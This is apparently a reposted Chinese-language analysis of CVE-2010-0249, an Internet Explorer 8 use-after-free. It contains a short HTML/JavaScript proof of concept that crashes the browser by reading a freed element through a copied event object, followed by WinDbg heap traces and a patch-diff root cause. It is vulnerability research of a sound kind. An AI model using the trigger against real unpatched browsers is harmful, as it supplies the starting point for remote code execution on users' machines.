CVE-2010-0249
[CNNVD]Microsoft Internet Explorer非法事件操作記憶體破壞漏洞(CNNVD-201001-153)
Microsoft Internet Explorer是微軟Windows作業系統中預設捆綁的WEB瀏覽器。
Microsoft Internet Explorer在處理非法的事件操作時存在記憶體破壞漏洞。由於在建立物件以後沒有增加相應的訪問記數,惡意的物件操作流程可能導致指標指向被釋放後重使用的記憶體,遠端攻擊者可透過誘使使用者訪問惡意網頁非法操作記憶體在使用者系統上執行指令。
POC來自zenhumany的部落格
環境
Windows 7 x86
IE 8.0.7600.16385
POC
<html>
<script>
var event2 = null;
function test()
{
event2 = document.createEventObject(event);
document.getElementById("x").innerHTML = "foo"; // 刪除初始化了事件的元素
window.setTimeout(test2, 100);
}
function test2()
{
alert(event2.srcElement); //在事件中訪問已經刪除了的元素
}
</script>
<body>
<div id="x">
<input type="button" value="test" onclick="test()">
</div>
</body>
</html>
分析
載入POC後,IE頁面程式crash,除錯資訊如下
0:005> r
eax=06c90f08 ebx=00000000 ecx=06be2fd0 edx=043bf064 esi=07822f78 edi=0642efb0
eip=627a88c7 esp=043bf058 ebp=043bf06c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CEventObj::GenericGetElement+0x91:
627a88c7 8b37 mov esi,dword ptr [edi] ds:0023:0642efb0=????????
分析發現edi來源於eax值,而eax值源自上層函式
627a88be 8b38 mov edi,dword ptr [eax]
627a88c0 8b5874 mov ebx,dword ptr [eax+74h]
627a88c3 85ff test edi,edi
627a88c5 745e je mshtml!CEventObj::GenericGetElement+0x11c (627a8925)
627a88c7 8b37 mov esi,dword ptr [edi] ds:0023:0642efb0=????????
檢視eax,發現eax是EventObject,如下
0:005> !heap -p -a eax
address 06c90f08 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7601d68: 6c90f08 f8 - 6c90000 2000
6b968e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
771a4ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77167d96 ntdll!RtlpAllocateHeap+0x000000c4
771334ca ntdll!RtlAllocateHeap+0x0000023a
6277c873 mshtml!EVENTPARAM::operator new+0x00000013
6288d2c5 mshtml!CDocument::createEventObject+0x00000083
628c2791 mshtml!Method_IDispatchpp_o0oVARIANTp+0x000000ea
6278235c mshtml!CBase::ContextInvokeEx+0x000005dc
627825d5 mshtml!CBase::InvokeEx+0x00000025
6278df9a mshtml!DispatchInvokeCollection+0x0000014c
62744998 mshtml!CDocument::InvokeEx+0x000000f0
62733148 mshtml!CBase::VersionedInvokeEx+0x00000020
62733104 mshtml!PlainInvokeEx+0x000000eb
674aa22a jscript!IDispatchExInvokeEx2+0x00000104
674aa175 jscript!IDispatchExInvokeEx+0x0000006a
674aa3f6 jscript!InvokeDispatchEx+0x00000098
674aa4a0 jscript!VAR::InvokeByName+0x00000139
674bd8c8 jscript!VAR::InvokeDispName+0x0000007d
674bd96f jscript!VAR::InvokeByDispID+0x000000ce
674b51b6 jscript!CScriptRuntime::Run+0x00002a97
674b5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
674b5bfb jscript!ScrFncObj::Call+0x0000008d
674b5e11 jscript!CSession::Execute+0x0000015f
674af3ee jscript!NameTbl::InvokeDef+0x000001b5
674aea2e jscript!NameTbl::InvokeEx+0x0000012c
674aa22a jscript!IDispatchExInvokeEx2+0x00000104
674aa175 jscript!IDispatchExInvokeEx+0x0000006a
674af5f8 jscript!NameTbl::InvokeEx+0x0000037a
627919cb mshtml!CScriptCollection::InvokeEx+0x0000008a
6278f451 mshtml!CWindow::InvokeEx+0x000006ad
62733148 mshtml!CBase::VersionedInvokeEx+0x00000020
62733104 mshtml!PlainInvokeEx+0x000000eb
進一步檢視UAF物件,推測是CTreeNode物件
0:005> !heap -p -a edi
address 0642efb0 found in
_DPH_HEAP_ROOT @ 51000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
63cc340: 642e000 2000
6b9690b2 verifier!AVrfDebugPageHeapFree+0x000000c2
771a5674 ntdll!RtlDebugFreeHeap+0x0000002f
77167aca ntdll!RtlpFreeHeap+0x0000005d
77132d68 ntdll!RtlFreeHeap+0x00000142
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
7560f1ac kernel32!HeapFree+0x00000014
6275e590 mshtml!CTreeNode::Release+0x0000002d
至此,我們得出結論:EventObject存在有某物件的CTreeNode懸垂指標,它導致了UAF的發生。接下來的問題是要搞清楚CTreeNode屬於哪個元素,這裡猜測是屬於input標籤的。除錯結果印證了我們的猜測
0:005> ln poi(06efbf88)
(6f988c70) mshtml!CInput::`vftable' | (6f988eac) mshtml!CInput::`vftable'
Exact matches:
mshtml!CInput::`vftable' = <no type information>
因為POC足夠的簡潔明瞭,可以直接看出createEventObject建立了事件物件,getElementById("x").snnerHTML = "foo"清空了input標籤,而alert(event2.srcElement)觸發了異常訪問。但是此外還有一個問題,就是event2是如何與input的CTreeNode產生的關聯。
這一點根據zenhumany的解釋是"如果新建立的CEventObj是從已有的CEventObj繼承而來時,則這兩個CEventObj事件的源相同。",單純憑藉POC很難分析出來。
成因
其實我一直認為憑藉POC是很難去判斷出一個漏洞的本質成因的,因為POC往往最多可以分析出Crash的原因,至於這個Crash為什麼會發生則難以判斷。比如,以這個漏洞為例,我們可以知道是因為:EventObject存在有input的CTreeNode物件的懸垂指標導致的Crash,但是這個懸垂指標為什麼產生卻難以說清楚。為此,我們需要進行補丁對比,我覺得只有知道這個洞是怎麼補的,才能說知道這個洞是怎麼產生的。
在修補後的EVENTPARAM::EVENTPARAM函式中,額外增加了對CTreeNode::NodeAddRef函式的呼叫。就是說漏洞的原因在於複製了指標,對CTreeNode物件進行引用,但是卻沒有增加引用計數。